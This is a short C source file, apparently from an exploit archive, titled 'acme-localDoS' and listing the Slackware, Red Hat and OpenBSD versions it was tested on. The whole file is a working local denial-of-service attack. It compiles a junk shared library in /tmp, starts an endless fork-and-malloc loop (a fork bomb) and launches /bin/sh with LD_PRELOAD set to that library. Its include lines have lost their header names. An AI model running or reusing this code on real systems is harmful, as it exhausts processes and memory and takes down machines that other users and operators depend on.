/* acme-localDoS v0.3r * * local (and lame) DoS * * successfully tested on: * * Slackware 9.1 * Slackware 9.0 & Current @ 11-09-2003 * Slackware 8.1 * Redhat 7.2 on Alpha * OpenBSD 3.2 * * * acme AT olografix DOT org * * acme AT paranoici DOT org */ #include #include #include char j0bba[] = "\x0/bin/sh"; int main() { FILE *fp; char *offset; fp=fopen("/tmp/acme.c","w"); fprintf(fp,"%s",j0bba); fclose(fp); system("gcc -shared -o /tmp/acme.so /tmp/acme.c;rm -f /tmp/acme.c"); if (fork() == 0) { sleep(1); while (1) { fork(); offset=malloc(512); } exit(0); } system("LD_PRELOAD=/tmp/acme.so /bin/sh"); return 0; }